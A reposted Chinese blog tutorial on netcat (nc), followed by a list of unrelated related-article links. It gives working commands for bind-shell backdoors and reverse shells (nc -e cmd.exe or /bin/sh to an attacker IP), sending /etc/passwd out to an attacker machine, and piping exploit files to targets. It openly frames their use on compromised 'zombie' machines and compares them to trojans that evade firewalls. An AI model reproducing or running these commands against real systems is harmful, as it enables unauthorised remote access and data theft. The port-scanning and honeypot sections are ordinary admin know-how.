最近在搞反向连接，试来试去发现最好的工具还是nc。正好趁这个机会把nc的用法总结一下：

1.端口扫描：

  nc -vv ip port

  例：nc -vv 192.168.1.1 5000 扫描192.168.1.1的tcp 5000端口

  nc -vv -w secs ip port-port

  例：nc -vv -w 5 192.168.1.1 5000-5002 扫描192.168.1.1的5000-5002端口，网络超时的时间设为5秒。

2.开设后门：

  victim machine:

  nc -l -p port -e cmd.exe //windows

  nc -l -p port -e /bin/sh //*nix

  attack machine:

  nc ip port

3.反向连接

  victim machine:

  nc -e cmd.exe ip port //windows

  nc -e /bin/sh ip port //*nix

  attack machine:

  nc -vv -l -p port

4.传送文件

  从victim machine上拉文件下来：

  victim machine:

  nc attack_ip port <  /etc/passwd

  attacker machine:

  nc -d -l -p  port  >  tmp

  从attack machine上下载文件：

  attacker machine:

  nc -d -l -p port < tmp

  victim machine:

  nc attack_ip port > tmp

需要注意的地方：

linux安装时往往自带了netcat,命令名为nc。但是可能是为了安全原因，去掉了-e参数。如果需要完全版本的netcat，需要到网上下载后，编译。 

``

---

octet-stream

Content-Length: 2790

ETag: “0448299fcd6df1:bea”

Last-Modified: Wed, 13 Nov 2002 18:50:46 GMT

Accept-Ranges: bytes

Cache-Control: no-cache

举例：

1)连接到REMOTE主机，例子：

格式：nc -nvv 192.168.x.x 80

讲解：连到192.168.x.x的TCP80端口

2)监听LOCAL主机，例子：

格式：nc -l -p 80

讲解：监听本机的TCP80端口

3)扫描远程主机，例子：

格式：nc -nvv -w2 -z 192.168.x.x 80-445

讲解：扫描192.168.x.x的TCP80到TCP445的所有端口

4)REMOTE主机绑定SHELL，例子：

格式：nc -l -p 5354 -t -e c:winntsystem32cmd.exe

讲解：绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口

5)REMOTE主机绑定SHELL并反向连接，例子：

格式：nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354

讲解：绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口

以上为最基本的几种用法（其实NC的用法还有很多，

当配合管道命令”|”与重定向命令”“等等命令功能更强大……）。

高级用法：

6)作攻击程序用，例子：

格式1：type.exe c:exploit.txt|nc -nvv 192.168.x.x 80

格式2：nc -nvv 192.168.x.x 80 c:log.txt

讲解：使用’-L’可以不停地监听某一个端口，直到ctrl+c为止，同时把结果输出到’c:log.txt’中，如果把‘>’

改为‘>>’即可以追加日志

附：’c:log.txt’为日志等

9)作蜜罐用[3]，例子：

格式1：nc -L -p 80 e:log.dat

nc -l -v -p port

参数解释：

-l：监听端口，监听入站信息

-p：后跟本地端口号

-v：显示端口的信息，如果使用-vv的话，则会显示端口更详细的信息

提示：一般大家都爱用-vv

nc -l -p 80

这个很简单，监听80端口

如果机器上运行这个命令，端口80被认为是开放的，可以欺骗很多扫描器的哦！

nc -l -p 80 > e:log.dat

呵呵，功能和上边一样，但是后边加了个“> e:log.dat”我想，学过ECHO

那个命令的人都会知道吧，是在E盘创建一个log.dat的日志文件

nc -l -v -p 80

和上边命令相似，不过这次不是记录在文件里，而是会直接显示在运行着NC

的屏幕上。

呵呵，讲了这么多，来实践下

nc -l -v -p 80

然后在浏览器中输入本机IP：127.0.0.1

呵呵，看到什么？

同样，上边两个也是一样，大家自己试验一下吧

命令2：程序定向

nc -l -p port -t -e cmd.exe

本地机： nc -l -p port 或 nc -l -v -p port

目标机：nc -e cmd.exe ip port

参数解释：

-l、-p两个参数已经解释过了

-e；作用就是程序定向

-t：以telnet的形式来应答

例子

nc -l -p 5277 -t -e cmd.exe

知道运行在哪里吗？千万不要运行在自己的机器上，如果运行了，你机器

就会变成一台TELNET的服务器了，呵呵，解释一下：监听本地端口5277的

入站信息，同时将CMD.exe这个程序，重定向到端口5277上，当有人连接的时候，就让程序CMD.exe以TELNET的形式来响应连接要求。

说白了，其实就是让他成为一台TELNET的肉鸡，所以这个命令要运行在你的肉鸡上。。（话外音：说这么多遍当我们白痴啊，快往下讲！！！）

呵呵，咱们来找台肉鸡试试，我TELNET IP 5277

HOHO如何？

local machine：nc -l -p port ( or nc -l -v -p port )

remote machine：nc -e cmd.exe ip port

大家知道灰鸽子和神偷吧，这两款工具都是利用了反弹端口型的木马，

什么叫反弹端口？就是说，当对方中马后，不用你主动和对方连接，也就是说

不用从你的client端向对方主机上运行的server端发送请求连接，而是对方主动来连接你

这样就可以使很多防火墙失效，因为很多防火墙都不检查出站请求的。

这里这两个命令结合在一起后，于那两款木马可以说有异曲同工之效。为什么？

咳！！听我给你讲啊！！（先交100000000RMB学费)哇，别杀我啊！！)

nc -l -p 5277 （坚听本地5277端口）

同样也可以用

nc -l -v -p 5277

运行在本地

然后在远程机器上，想办法运行

nc -e cmd.exe ip 5277

（你可别真的打“ip”在肉机上啊）要打，xxx.xxx.xxx.xxx这样！！

呵呵，看看在本地机器上出现了什么？

这样就是反弹在本地机器上得到了一个SHELL

命令3：扫描端口

nc -v ip port

nc -v -z ip port-port

nc -v -z -u ip port-port

参数解释：

-z：将输入输出关掉，在扫描时使用

nc -v ip port

这个命令是针对某一个端口进行扫描

例如：

nc -v ip 135

扫描远程主机的135端口，这样获得了该端口的一些简单信息，但是针对某些端口，我们还可以获得更多的信息

例如：80端口

我们可以使用nc -v ip 80 然后使用get方法来获得对方的WEB服务器的信息

nc -v -z ip port-port

这个命令是用来扫描的一个命令，这个命令用于快速扫描TCP端口，而port-port则是指定了扫描的端口范围

例如：

nc -v -z ip 1-200

可以看到我机器上的1-200的TCP端口的开放情况

nc -v -z -u ip port-port

这个命令比上个命令多了个-u，这个命令的作用仍然是扫描端口，只是多了一个-u的参数，是用来扫UDP端口的

例如：

nc -v -z -u ip 1-200

这个命令就会扫1-200的UDP端口

命令4：传送文件（HOHO，I LIKE）

LOCAL MACHINE：nc -v -n ip port y:svr.exe

参数解释：

-n：指定数字的IP地址

这两个命令结合起来是用来传送文件的

首先，在远程机上运行命令：

nc -v -l -p 5277 > c:pulist.exe

这个命令还记的吗？呵呵，是不是和监听命令有点类似，对，没错，这个是监听5277端口

并把接受到的信息数据写到c:pulist.exe中

这时候在本地机上运行

nc -v -n ip 5277

本文来自ChinaUnix博客，如果查看原文请点：http://blog.chinaunix.net/u1/59178/showart_1296797.html

[转载]nc命令详解的更多相关文章

[转载]Linux 命令详解:./configure、make、make install 命令
[转载]Linux 命令详解:./configure.make.make install 命令来源:https://www.cnblogs.com/tinywan/p/7230039.html 这些 ...
linux nc 命令详解
linux nc命令使用详解功能说明:功能强大的网络工具语法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o&l ...
Linux nc命令详解
NetCat,在网络工具中有“瑞士军刀”美誉,其有Windows和Linux的版本.因为它短小精悍(1.84版本也不过25k,旧版本或缩减版甚至更小).功能实用,被设计为一个简单.可靠的网络工具,可通 ...
nc之二：nc命令详解
NetCat,在网络工具中有“瑞士军刀”美誉,其有Windows和Linux的版本.因为它短小精悍(1.84版本也不过25k,旧版本或缩减版甚至更小).功能实用,被设计为一个简单.可靠的网络工具,可通 ...
nc命令详解
NetCat,在网络工具中有“瑞士军刀”美誉,其有Windows和Linux的版本.因为它短小精悍(1.84版本也不过25k,旧版本或缩减版甚至更小).功能实用,被设计为一个简单.可靠的网络工具,可通 ...
Linux之nc命令详解
nc是一个强大的网络工具,可以通过yum安装 [root@LB2 ~]# which nc /usr/bin/which: no nc in (/usr/local/sbin:/usr/local/b ...
[Linux][转载]Curl命令详解
命令:curl 在Linux中curl是一个利用URL规则在命令行下工作的文件传输工具,是一款很强大的http命令行工具,当处在无界面的服务器上的时候,利用curl下载上传文件是较为方便的事情. 语法 ...
linux netcat 命令详解
功能说明:强大的网络工具语法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p< ...
Linux防火墙iptables学习笔记（三）iptables命令详解和举例[转载]
Linux防火墙iptables学习笔记(三)iptables命令详解和举例 2008-10-16 23:45:46 转载网上看到这个配置讲解得还比较易懂,就转过来了,大家一起看下,希望对您工作能 ...

随机推荐

Solution -「CF 1391E」Pairs of Pairs
\(\mathcal{Description}\) Link. 给定一个 \(n\) 个点 \(m\) 条边的无向图,在其上找到一条包括不少于 \(\lceil\frac{n}2\rceil\ ...
ARM7、ARM9、ARM11、ARM-Cortex系列的关系
参考资料: https://zhuanlan.zhihu.com/p/92315825 https://zhuanlan.zhihu.com/p/82337495 ARM是Advanced RISC ...
C# 中的Stream流
流就是一个类的对象,很多文件的输入输出操作都以类的成员函数的方式来提供: 流其实是一种信息的转换,是有序的,有输入和输出流(IO); 1.FileStream 文件流,读取和保存文件操作使用: //写 ...
RFC2544学习频率“Learning Frequency”详解—信而泰网络测试仪实操
在RFC2544中, 会有一个Learning Frequency的字段让我们选择, 其值有4个, 分别是learn once, learn Every Trial, Learn Every Fram ...
Glob 语法及解析
Glob 语法及解析目录 1. glob 简介 2. glob 语法 3. .gitignore 4. Python glob 1 glob 简介 glob 是用于匹配符合指定模式的文件集合的一种语 ...
Python：构建可执行exe文件
学习自: Python 程序打包成 exe 可执行文件 - 不夜男人 - 博客园 Python生成Windows可执行exe文件 - 韩小北 - 博客园 pyinstaller参数介绍以及总结_Bea ...
转 Linux下安装Tomcat服务器和部署Web应用
转载声明: http://www.cnblogs.com/xdp-gacl/p/4097608.html 一.上传Tomcat服务器
WPF页面后台代码InitializeComponent()报错
InitializeComponent(); 报错: 查看对应的前台xaml文件中,主标签中是否缺失引用: x:class="命名空间.类名"
JAVA基础01----第1章Java开发环境搭建
一. Java开发环境中涉及的名词:JDK,JRE,JVM A:什么是JVM JVM是java虚拟机(JVM Java Virtual Machine),java程序需要运行在虚拟机上,不同平台有自己 ...
Ribbon&OpenFeign配置使用
目录 Ribbon 是什么工作流程怎么用负载算法官方提供算法使用方法自定义负载算法在rule包下新建MyRule 修改自定义策略类RbRule 测试 OpenFeign 是什么怎么用 ...

[转载]nc命令详解

[转载]nc命令详解的更多相关文章

随机推荐

热门专题